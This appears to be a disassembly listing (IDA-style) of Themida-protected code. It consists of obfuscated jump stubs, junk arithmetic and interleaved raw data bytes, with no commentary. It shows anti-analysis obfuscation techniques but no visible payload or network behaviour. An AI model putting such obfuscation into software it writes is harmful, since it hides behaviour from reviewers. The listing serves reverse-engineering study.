		dd 0EEEh, 89240C89h, 4C181E1h, 0E9000000h, 0FFFF156Eh
		dd 0D66BB951h, 0C829A7C8h, 58C50159h, 0A260558h, 0E801575Ah
		dd 5A0A262Dh, 242C8B57h, 0E904C483h, 0FFFF8ACDh
; ---------------------------------------------------------------------------


loc_56EA84:				; CODE XREF: Themida_:00569FAEj
		xor	ah, cl
		pop	ecx
		mov	ch, ah
		pop	ax
		xor	ch, 16h
		add	al, 36h
		add	al, 0CDh
		add	al, ch
		sub	al, 0CDh
		jmp	loc_5604BF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4196658h,	26E99C24h, 81FFFF00h, 4ECh, 242C8900h
		dd 547A6268h, 0EDC15D67h, 0D8B85002h, 31417270h, 893CE9C5h
		dd 0E95DFFFFh, 0FFFF889Ah
; ---------------------------------------------------------------------------


loc_56EAD0:				; CODE XREF: Themida_:0055EB47j
		mov	eax, 432D61F0h
		shr	eax, 2
		xchg	eax, edx
		dec	edx
		not	edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		add	eax, 128236A8h
		push	74F8h
		jmp	loc_563F8A
; ---------------------------------------------------------------------------


loc_56EAF1:				; CODE XREF: Themida_:00572CABj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 42643B0Bh
		mov	edx, ebp
		jmp	loc_5686B6
; ---------------------------------------------------------------------------
aPhI		db 'Ph+i',0
		dd 24248900h, 341DE9h, 241C8B00h, 4C481h, 0FF510000h, 59042474h
		dd 0FFE757E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EB3D:				; CODE XREF: Themida_:005630AAj
		sub	edi, ebx
		jmp	loc_562082
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 7D12E900h, 3FB6FFFFh, 0FFD5FCE9h, 3E12BEFFh
		dd 0F681107Eh, 49920999h, 0C681D6F7h, 59EC3790h, 0FF6BA8E9h
		dd 81E789FFh, 4C7h, 4C78300h, 5C243C87h, 67BA5251h, 5503DD11h
		dd 0DD1165BDh, 5DE98903h, 15AD131h, 143359CAh, 24143124h
		dd 8B241433h, 0F662424h, 9C2404BBh, 0FEFF24E9h,	24348BFFh
		dd 104C483h, 9BBA52C3h,	0F7069477h, 62ABE9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EBC2:				; CODE XREF: Themida_:0056C5B8j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	ecx, 1B9B6A6Ch
		add	ecx, 0FFFFFFFFh
		push	4071h
		mov	[esp], eax
		jmp	loc_56C884
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 1, 4638E9h, 0C4835900h, 0BFC28104h, 0E954907Fh, 496h
		dd 81242489h, 42404h, 0E9590000h, 0FFFFCA8Bh, 40B768h
		dd 242C8900h, 0FE68E589h, 89000014h, 6856243Ch,	2EBEh
		dd 68241C89h, 7BEA15F9h, 0FFBEB3E9h, 2474FFFFh,	48F5904h
		dd 24248B24h, 54241C89h, 4C3815Bh, 81000000h, 4C3h, 241C3300h
		dd 33241C31h, 248B241Ch, 22B95124h, 0C1371319h,	0F18704E9h
		dd 0F131D6F7h, 0F131CE31h, 4EC81h, 14890000h, 7096BA24h
		dd 0D1013A8Eh, 2B72E9h,	0E4E95100h, 81FFFF82h, 4C4h, 8EBC100h
		dd 0A568F381h, 0DF890F6Fh, 0F2F7815Bh, 0C1707A26h, 0F78105EFh
		dd 3EA7C223h, 612F372Dh, 5F80167h, 67612F37h, 83243C8Bh
		dd 34FF04C4h, 2434FF24h, 0A74E95Dh, 505FFFFFh, 0FD2DE3B8h
		dd 17C6255Fh, 25403C1Bh, 29F47CC7h, 1004C135h, 3BE98108h
		dd 8172C65Fh, 244CB1E9h, 81C10133h, 244CB1C1h, 3BC18133h
		dd 0E972C65Fh, 0FFFF0105h, 7D9EBF57h, 0EC81625Eh, 4, 0E9243489h
		dd 1879h, 0BAF3C581h, 0C1819540h, 5BB355ECh, 3E9E929h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ED23:				; CODE XREF: Themida_:00565886j
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56C281
; ---------------------------------------------------------------------------
		dw 0C1FEh
		dd 8004E1C0h, 0CB281DE9h, 592434FFh, 4C481h, 0C3280000h
		dd 5343C380h, 0C381E389h, 4, 0FF183CE9h, 0A5E952FFh, 1FFFF95h
		dd 2C32E9D7h, 0EB01FFFFh, 510EEB81h, 2C8B2AB0h,	75C5E924h
		dd 8966FFFFh, 3CB62414h, 6602EC83h, 0B4240489h,	0E9D4F639h
		dd 0FFFF27B9h, 1BFh, 5FFE2900h,	656CE681h, 0EEC14A56h
		dd 1BEE8105h, 18A70D7h,	24348BF0h, 81E28952h, 4C2h, 4C28100h
		dd 0E9000000h, 0FFFFC1C0h, 6851555Bh, 4A756EDEh, 0FF3244E9h
		dd 24148BFFh, 4C481h, 0C2810000h, 0CED1C44Ah, 148BD089h
		dd 4C48324h, 48BC301h, 4C48124h, 52000000h, 2BAh, 5AD32900h
		dd 31241C33h, 1C33241Ch, 24248B24h, 240C8966h, 0FEFCCCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EE05:				; CODE XREF: Themida_:0055EFDEj
		sub	ebx, ecx
		pop	ecx
		sub	esi, 5AEC3527h
		sub	esi, 7661304Fh
		add	esi, ebx
		jmp	loc_567141
; ---------------------------------------------------------------------------
		db 0BFh
		dd 32A0579Eh, 0FFDB18E9h, 88CE88FFh, 50595AF7h,	0FE9FC88h
		dd 8BFFFF2Bh, 0C483243Ch, 241C3304h, 33241C31h,	665C241Ch
		dd 0E9240C8Bh, 0FFFF2938h
; ---------------------------------------------------------------------------


loc_56EE4C:				; CODE XREF: Themida_:0056E837j
		push	eax
		mov	eax, 612460AEh
		jmp	loc_56CE55
; ---------------------------------------------------------------------------
		db 34h
		dd 0FFC12884h, 81582434h, 4C4h,	860400h, 0E9862CC8h, 0FFFFDB58h
		dd 84158EBFh, 1CC78128h, 812D2F42h, 4C5D4DC7h, 60C78163h
		dd 4F298C13h, 0C1C78147h, 0E92D2D87h, 0FFFF9AD8h, 68D830ACh
		dd 3BD6h, 0B6241489h, 62E68082h, 8006E6C0h, 686601EEh
		dd 89667556h, 9EE92404h, 0BBFFFFFEh, 4,	0FFD4BCE9h, 48B66FFh
		dd 0F292E924h, 0C381FFFFh, 69FD76AEh, 4C3835Ah,	0FF4B63E9h
		dd 2434FFFFh, 5324148Bh, 0C381E389h, 4,	4BA7E9h, 24148900h
		dd 0C281E289h, 4, 0EA9AE952h, 0E6C1FFFFh, 0EE814E02h, 6E907BF7h
		dd 27F0C281h, 0F20153C8h, 2797E9h, 80C2B700h, 0FC306CC7h
		dd 66E3285Bh, 0E924048Bh, 0FFFF3A64h
; ---------------------------------------------------------------------------


loc_56EF28:				; CODE XREF: Themida_:005728ADj
		sub	esi, edx
		jmp	loc_56B823
; ---------------------------------------------------------------------------
		db 66h
		dd 81241C8Bh, 2C4h, 5AD00000h, 0DDB65253h, 805AF388h, 0D3F652F3h
		dd 0FF9C70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EF4D:				; CODE XREF: Themida_:0056C63Cj
		pop	ecx
		push	237Ch
		mov	[esp], esi
		jmp	loc_56BACE
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 24040024h, 0FB67E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56EF6A:				; CODE XREF: Themida_:0056C148j
		pop	eax
		push	7489h
		jmp	loc_563936
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0FF4A38E9h, 0C0C381FFh, 5A53C412h, 0FF58DCE9h, 4C781FFh
		dd 81000000h, 4C7h, 53FEE900h, 2C81FFFFh, 9C0CB424h, 20E95913h
		dd 0B5FFFF95h, 254AE96Fh, 0C4830000h, 4EC8304h,	0B3241C89h
		dd 7CB4E9ADh, 148BFFFFh, 4C48124h, 56000000h, 0FFE420E9h
		dd 5FFE01FFh, 0FF47B2E9h, 2E94BFFh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EFDB:				; CODE XREF: Themida_:0056B458j
		push	esp
		pop	edi
		add	edi, 4
		push	ebx
		jmp	loc_5718A0
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 0E9h
		dd 0FFFFA12Bh
; ---------------------------------------------------------------------------


loc_56EFF0:				; CODE XREF: Themida_:00561A6Dj
		add	ecx, 4
		jmp	loc_56E18C
; ---------------------------------------------------------------------------
		db 66h
		dd 50241C89h, 3F4E9h, 66BA5200h, 420DFF10h, 42FFC283h
		dd 0FF9029E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F015:				; CODE XREF: Themida_:005629E1j
		mov	edx, 1
		sub	eax, 3FA73B03h
		sub	eax, edx
		add	eax, 3FA73B03h
		pop	edx
		inc	eax
		dec	eax
		neg	eax
		xor	eax, 60E1C02h
		jmp	loc_565EDF
; ---------------------------------------------------------------------------


loc_56F035:				; CODE XREF: Themida_:00563DADj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	dl, ch
		mov	ah, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56C8A7
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 8704C183h, 505C240Ch,	0FF0FB4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F075:				; CODE XREF: Themida_:00563E54j
		mov	eax, ecx
		push	dword ptr [esp]
		jmp	loc_564646
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E958C101h, 0FFFF56FCh, 0C8BE0F66h, 1F4FE952h, 0DA01FFFFh
		dd 1D1DB951h, 0C9813C3Eh, 579419CAh, 6260F181h,	0B2E92B2Eh
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F0AB:				; CODE XREF: Themida_:00560893j
		not	esi
		xchg	esi, edi
		push	49AFh
		jmp	loc_55F38E
; ---------------------------------------------------------------------------


loc_56F0B9:				; CODE XREF: Themida_:005659EDj
		pop	eax
		mov	eax, [esp]
		push	esi
		push	6136h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_55F919
; ---------------------------------------------------------------------------
		dw 0D300h
		dd 148B665Ah, 5EB56824h, 4890000h, 53E08924h, 4BBh, 5BD80100h
		dd 205h, 24043300h, 33240431h, 665C2404h, 2822B551h, 0C8B66EBh
		dd 2C48124h, 28000000h,	3586E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F11A:				; CODE XREF: Themida_:00564393j
		neg	ecx
		xor	ecx, 63E7377Ah
		mov	ebp, ecx
		jmp	loc_5714E9
; ---------------------------------------------------------------------------


loc_56F129:				; CODE XREF: Themida_:00562EE7j
		mov	[esp], edx
		jmp	loc_56E1BD
; ---------------------------------------------------------------------------


loc_56F131:				; CODE XREF: Themida_:0056625Bj
		mov	[esp], ebp
		push	6AF41DC0h
		pop	ebp
		push	ecx
		jmp	loc_571C88
; ---------------------------------------------------------------------------
		dd 52BEF81h, 0EF810ADDh, 348D6EBCh, 728E9h, 4C48100h, 81000000h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 3A68243Ch, 8300000Bh
		dd 248904ECh, 24048324h, 24048F04h, 0FFC0CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F181:				; CODE XREF: Themida_:00562E16j
		sub	edx, 25552833h
		add	edx, 6C51136Dh
		add	edx, edi
		sub	edx, 6C51136Dh
		add	edx, 25552833h
		sub	edx, 2B5327C2h
		mov	[edx], eax
		jmp	loc_565D39
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 8F2FE924h,	0C481FFFFh, 4, 0FFB320E9h
		dd 0E95D54FFh, 0A7Eh
; ---------------------------------------------------------------------------


loc_56F1C8:				; CODE XREF: Themida_:0056F900j
		push	3BE1h
		mov	[esp], eax
		jmp	loc_560343
; ---------------------------------------------------------------------------
		db 0BDh, 16h, 58h
		dd 0C5290C09h, 0FF8B92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F1E1:				; CODE XREF: Themida_:0057258Dj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56DE2C
; ---------------------------------------------------------------------------


loc_56F1EC:				; CODE XREF: Themida_:00571392j
		shr	ebp, 8
		not	ebp
		jmp	loc_56ABCF
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 148BD001h, 4EC8324h, 0E9243C89h, 0FFFF1405h
; ---------------------------------------------------------------------------


loc_56F20C:				; CODE XREF: Themida_:005708F9j
		push	esi
		jmp	loc_56CAB5
; ---------------------------------------------------------------------------
		dw 0A905h
		dd 0FF1FB076h, 48E92434h, 53FFFFCCh, 60BBE56h, 0FE870A0Fh
		dd 51CEE957h, 3C68FFFFh, 89000078h, 3FE9240Ch, 83FFFFEEh
		dd 60E904C4h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F243:				; CODE XREF: Themida_:0056DE11j
		pop	edx
		shr	edx, 4
		add	edx, 1
		neg	edx
		jmp	loc_564CC9
; ---------------------------------------------------------------------------
		dd 4BDh, 246C0100h, 57E95D04h, 56FFFFB5h, 0B4240481h, 5829C475h
		dd 0FFD53AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F271:				; CODE XREF: Themida_:0056E10Fj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56BCD6
; ---------------------------------------------------------------------------


loc_56F27D:				; CODE XREF: Themida_:0056558Bj
		sub	esp, 4
		jmp	loc_56487F
; ---------------------------------------------------------------------------
		dd 4055854h, 0E9000000h, 0FFFF878Ch
; ---------------------------------------------------------------------------


loc_56F294:				; CODE XREF: Themida_:005666B4j
		shr	edx, 4
		shl	edx, 8
		push	ecx
		mov	ecx, 1
		add	edx, ecx
		pop	ecx
		jmp	loc_55ED31
; ---------------------------------------------------------------------------


loc_56F2A8:				; CODE XREF: Themida_:00566E16j
		add	ebx, 0F8D11462h
		sub	esp, 4
		jmp	loc_560D50
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 1E94E952h, 54010000h, 1EE90424h, 50FFFFD7h, 0AE5A9BB8h
		dd 7320051Dh, 0D0F72ADAh, 0AD776335h, 0FEE30568h, 0C7013F6Dh
		dd 81EF0158h, 48440AEFh, 7CC7811Fh, 5D703A6Eh, 0E8468h
		dd 243C8900h, 0FF4213E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F301:				; CODE XREF: Themida_:0056C764j
		add	edx, 0A2DC62BBh
		add	eax, edx
		pop	edx
		add	eax, 14421D21h
		jmp	loc_5615CA
; ---------------------------------------------------------------------------
		dd 0EE1429BAh, 0E9424A3Ah, 1529h, 81E18951h, 4C1h, 4C18300h
		dd 5C240C87h, 405h, 0C24BE900h,	885AFFFFh, 2434FFE2h, 8124048Bh
		dd 4C4h, 4C48300h, 0FF9D70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F351:				; CODE XREF: Themida_:005647BEj
		push	ebp
		mov	ebp, 7A0238CAh
		shl	ebp, 8
		xor	ebp, 9617754h
		jmp	loc_561A13
; ---------------------------------------------------------------------------
		db 31h,	0D3h, 5Ah
		dd 242C8153h, 7A2372C8h, 0C8C6815Eh, 5B7A2372h,	503EC681h
		dd 0EE81471Fh, 1DD22E2Ah, 0FF1164E9h, 0E9505DFFh, 45F9h
		dd 42Dh, 3519E900h, 0E956FFFFh,	0FFFF0ADDh, 31241433h
		dd 0BAE92414h, 89FFFFE4h, 4C381E3h, 0E9000000h,	0FFFEFC6Eh
		dd 24048F5Ah, 2434895Ch, 0C6815E54h, 4,	5604C683h, 42474FFh
		dd 24048F5Eh, 2404FF5Ch, 0F6F3E99Ch, 5D68FFFEh,	5F735F18h
		dd 0FFA3BEE9h, 24248BFFh, 0B9240C89h, 0FEh, 0FF7AC6E9h
		dd 8872B0FFh, 885158C3h, 59CC88D9h, 241C8B66h, 2C481h
		dd 52660000h, 0F430CAB6h, 0F4805A66h, 29D2E9B6h, 0F0290000h
		dd 0BA52595Eh, 180E293Dh, 5707E2C1h, 54E95756h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F433:				; CODE XREF: Themida_:0056042Dj
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, 5E442854h
		xor	eax, ebp
		pop	ebp
		push	692h
		mov	[esp], edi
		push	esi
		push	27A57AD8h
		pop	esi
		push	ebp
		jmp	loc_570D3F
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 3AA2E9h, 0DF015A00h,	24B8BB53h, 86E91F88h, 81FFFF62h
		dd 4C4h, 0A9FCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F482:				; CODE XREF: Themida_:00572C75j
		pop	ebx
		jmp	loc_56D7D8
; ---------------------------------------------------------------------------
		dd 0A41EFF68h, 6BE95E5Bh
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F493:				; CODE XREF: Themida_:005678CFj
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		mov	edx, [esp]
		jmp	loc_565FA3
; ---------------------------------------------------------------------------
		db 89h,	0C5h, 0E9h
		dd 0FFFFCF11h
; ---------------------------------------------------------------------------


loc_56F4A8:				; CODE XREF: Themida_:00565E5Dj
		mov	[esp], ebx
		push	63C7h
		mov	[esp], esi
		jmp	loc_560695
; ---------------------------------------------------------------------------
		dd 8102E5C1h, 394304EDh, 4DD5F746h, 5BC4ED81h, 0ED814D56h
		dd 9E5B10D7h, 15DEF29h,	17C781CFh, 5106CF57h, 78631BB9h
		dd 0E9CF010Eh, 0FFFF8228h
; ---------------------------------------------------------------------------


loc_56F4E8:				; CODE XREF: Themida_:0056CDADj
		or	esi, 4FEC6DAAh
		xor	esi, 44445044h
		or	edi, esi
		pop	esi
		jmp	loc_5699EE
; ---------------------------------------------------------------------------


loc_56F4FC:				; CODE XREF: Themida_:005642FEj
		pop	esp
		mov	[esp], ebx
		push	1673h
		mov	[esp], ebp
		jmp	loc_5710B0
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 0E9h
		dd 0FFFF2AC7h, 0E924348Bh, 2168h
; ---------------------------------------------------------------------------


loc_56F51C:				; CODE XREF: Themida_:0056DCDAj
		push	0
		jmp	loc_5603FE
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 96A1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F52E:				; CODE XREF: Themida_:00563DB8j
		sub	esp, 4
		jmp	loc_561B9F
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 0E9h
		dd 0FFFF2563h
; ---------------------------------------------------------------------------


loc_56F540:				; CODE XREF: Themida_:005639A3j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56A6A3
; ---------------------------------------------------------------------------
		dd 4456E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F552:				; CODE XREF: Themida_:00567700j
		push	39D5h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_56DC9C
; ---------------------------------------------------------------------------
		db 89h
		dd 0E950243Ch, 0FFFFCF0Fh, 63A3C181h, 0F92947C9h, 3247E9h
		dd 48685900h, 89000016h, 5366240Ch, 0E9D8B252h,	0FFFF82FDh
		dd 290A6856h, 2C890000h, 7CD1BD24h, 0CD810C71h,	72D10679h
		dd 292BA52h, 0D5215B0Fh, 69A1E95Ah, 0D629FFFFh,	0FFAE51E9h
		dd 0C2BE56FFh, 0E910CB2Ch, 0FFFF4414h, 83243C8Bh, 0D92104C4h
		dd 68241C8Bh, 28B3h, 89240489h,	405E0h,	0C0830000h, 24048704h
		dd 0FF07EBE9h, 53C801FFh, 0A33CA0BBh, 1BA5218h,	108AA09h
		dd 0D8E95AD0h, 58FFFF9Ah, 81240C8Bh, 4C4h, 4EC8300h, 88241489h
		dd 8AE950FEh, 81FFFF97h, 4ECh, 24048900h, 7F0495B8h, 0E8834806h
		dd 390B0501h, 0E0C10731h, 0D3850506h, 0EE81FB17h, 0D1E7EB8h
		dd 0FF42DFE9h, 0D78958FFh, 3EFC15Ah, 7D3CEF81h,	0DBE9C84Ch
		dd 0ADFFFF64h, 0E25CE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F656:				; CODE XREF: Themida_:00562D75j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, 37F851AEh
		add	eax, edx
		push	ebx
		mov	ebx, 37F851AEh
		sub	eax, ebx
		pop	ebx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_56ACF3
; ---------------------------------------------------------------------------
		db 68h,	0F7h, 3Eh
		dd 315D37CBh, 5D04246Ch, 5624048Bh, 0C681E689h,	4, 4EE81h
		dd 34870000h, 34895C24h, 815E5424h, 4C6h, 4EC8300h, 0FF27D3E9h
		dd 4C481FFh, 0E9000000h, 0FFFFE9CCh, 0EB80BFB1h, 4CC380B0h
		dd 0EB80CB00h, 0B0C3804Ch, 0FF43E7E9h, 48B66FFh, 4EC8324h
		dd 0FFB286E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F6ED:				; CODE XREF: Themida_:00571A49j
		inc	cl
		sub	cl, 88h
		or	cl, 69h
		sub	cl, 5Ah
		mov	bl, cl
		jmp	loc_55EC8A
; ---------------------------------------------------------------------------
		db 54h
		dd 83241C8Bh, 0C38104C4h, 4, 0FF04AEE9h, 241C87FFh, 0E189515Ch
		dd 4C181h, 0E9810000h, 4, 0E9240C87h, 178h
; ---------------------------------------------------------------------------


loc_56F72C:				; CODE XREF: Themida_:00564221j
		push	90Ah
		mov	[esp], ebp
		jmp	loc_567127
; ---------------------------------------------------------------------------


loc_56F739:				; CODE XREF: Themida_:00561CADj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56A2B0
; ---------------------------------------------------------------------------
		db 66h
		dd 8837B551h, 805966EAh, 0EB8028F2h, 50D3003Ch,	505093B0h
		dd 6C8AEC88h, 0CE90424h
		db 4, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F763:				; CODE XREF: Themida_:00572448j
		push	6231h
		mov	[esp], ebx
		jmp	loc_569C90
; ---------------------------------------------------------------------------
		dd 298C68h, 240C8900h, 3C326852h, 7BE90000h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56F783:				; CODE XREF: Themida_:0056813Bj
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_57040F
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2434h, 4B95124h,	1000000h, 565059CEh, 3429EC68h
		dd 0BB535E2Fh, 1, 6D03C681h, 0DE2931DFh, 6D03EE81h, 815B31DFh
		dd 0A6196ECEh, 96F68113h, 552E3E72h, 0F54FF6BDh, 0CDDFE907h
		dd 0F757FFFFh, 0E95F241Ch, 0FFFF3D73h, 5E2434FFh, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 248B243Ch, 2434FF24h, 81243C8Bh
		dd 4C4h, 4C48100h, 81000000h, 4ECh, 24148900h, 0FEF8E4E9h
		dd 4C783FFh, 2474FF57h,	18FAE904h, 0C4830000h, 0B8505604h
		dd 7E4B63B8h, 24348150h, 61E14DBh, 0DBF6815Eh, 58061E14h
		dd 0FF0600E9h, 4C183FFh, 5C240C87h, 31243C33h, 0ADE9243Ch
		dd 1FFFFA4h, 0EA5AE9CFh, 0BA52FFFFh, 100C1221h,	0C281DAF7h
		dd 609B381Dh, 0FF52A4E9h, 666851FFh, 0E900001Ah, 0FFFF02D4h
; ---------------------------------------------------------------------------


loc_56F884:				; CODE XREF: Themida_:00563BBAj
		mov	bh, 0FEh
		jmp	loc_56092B
; ---------------------------------------------------------------------------


loc_56F88B:				; CODE XREF: Themida_:0056B919j
		sub	ebp, 0EAB28A4h
		add	ebp, 447A1B90h
		add	ebp, eax
		push	ebx
		mov	ebx, 5CDD4627h
		jmp	loc_56AD56
; ---------------------------------------------------------------------------
		dd 0A7EE95Ch, 7168FFFFh, 89000034h, 8950243Ch, 405E0h
		dd 0E8830000h, 24048704h, 0ABE685Ch, 24890000h,	4EC8124h
		dd 89000000h, 4BA2414h,	0E9000000h, 0FFFFF9E6h
; ---------------------------------------------------------------------------


loc_56F8DC:				; CODE XREF: Themida_:005673EEj
		add	edx, 7DF66414h
		not	edx
		add	edx, 26A7E999h
		jmp	loc_572436
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C5E908E1h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F8F7:				; CODE XREF: Themida_:00562A7Bj
		mov	ebp, 27E4856h
		mov	esi, ebp
		pop	ebp
		push	ecx
		jmp	loc_56F1C8
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0BEE90000h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F913:				; CODE XREF: Themida_:0056B32Ej
		dec	dx
		not	dx
		push	cx
		mov	cx, 5E78h
		sub	dx, cx
		jmp	loc_5627A0
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 476247F5h, 4B2FE972h, 80BAFFFFh, 5375FC30h, 0FF3A91E9h
		dd 243C31FFh, 8B243C33h, 86E92424h, 0FEFFFEF1h,	0A2F480CCh
		dd 0FE58E608h, 2BB151C6h, 0F659CE08h, 88EE80DEh, 0FFC61FE9h
		dd 108F05FFh, 0EB818AA9h, 7FDA4115h, 0C381C301h, 7FDA4115h
		dd 8124048Bh, 4C4h, 0BBE95D00h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56F987:				; CODE XREF: Themida_:005705E7j
		mov	[esp], edi
		mov	edi, 783C5774h
		push	ebp
		mov	ebp, 41F764FEh
		or	edi, ebp
		mov	ebp, [esp]
		jmp	loc_56995F
; ---------------------------------------------------------------------------
		db 5
		dd 2FA31879h, 8324148Bh, 43304C4h, 24043124h, 5C240433h
		dd 240C8B66h, 5E08950h,	4, 0CC1BF57h, 2EE91054h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F9CB:				; CODE XREF: Themida_:0056FF71j
		pop	edx
		push	ebx
		jmp	loc_563665
; ---------------------------------------------------------------------------
		dw 2BDh
		dd 89000000h, 0A0055DE9h, 0E918A33Ch, 0FFFFFC01h
; ---------------------------------------------------------------------------


loc_56F9E4:				; CODE XREF: Themida_:005662F8j
		mov	esp, [esp]
		mov	[esp], esi
		xchg	edx, [esp]
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_5736CC
; ---------------------------------------------------------------------------


loc_56F9F7:				; CODE XREF: Themida_:0055FE2Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6CA23BF2h
		add	edi, 73C05678h
		add	edi, ebp
		sub	edi, 73C05678h
		pop	ebp
		jmp	loc_573D8F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FF3262E9h, 0E5D15CFFh, 1DB7E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57225B
; ---------------------------------------------------------------------------
		dd 0CF069EBAh, 5E4CE901h, 0F188FFFFh, 3F7CE9h, 0DACF8100h
		dd 81465941h, 0E07863EFh, 32C5E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56FA5E:				; CODE XREF: Themida_:00563E90j
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_56E433
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 27937DACh, 0F64E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FA7A:				; CODE XREF: Themida_:00573DEFj
		pop	ebx
		jmp	loc_55F193
; ---------------------------------------------------------------------------
		dd 8108E1C1h, 1F1904F1h, 59CE0135h, 4C681h, 34870000h
		dd 36E95C24h, 0BBFFFEF0h, 4, 2D52692Dh,	5D82903h, 32D5269h
		dd 2404335Bh, 33240431h, 0A1E92404h, 0BAFFFF52h, 34E7581Ch
		dd 525AD689h, 1BAh, 5AD60100h, 3E6C14Eh, 0FEF648E9h, 2C1D05FFh
		dd 315E38B1h, 0F501E9C3h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FAE2:				; CODE XREF: Themida_:0056E6CEj
		xor	eax, ecx
		jmp	loc_5682FA
; ---------------------------------------------------------------------------
		db 5Bh,	0F7h, 0DEh
		dd 1B68F681h, 0EE96F92h, 0B9FFFF96h, 262C64C9h,	4244C31h
		dd 0FF82E959h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FB06:				; CODE XREF: Themida_:0056B2B5j
		and	esi, eax
		pop	eax
		add	esi, 1DB744Dh
		jmp	loc_560EA2
; ---------------------------------------------------------------------------
		dd 770EB81h, 0EB812A91h, 818BCC3Ch, 95BDD89h, 242C8BEFh
		dd 4C481h, 6DE90000h, 34FFFF04h, 0FE60244Bh, 0C38853C8h
		dd 0FFE9C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


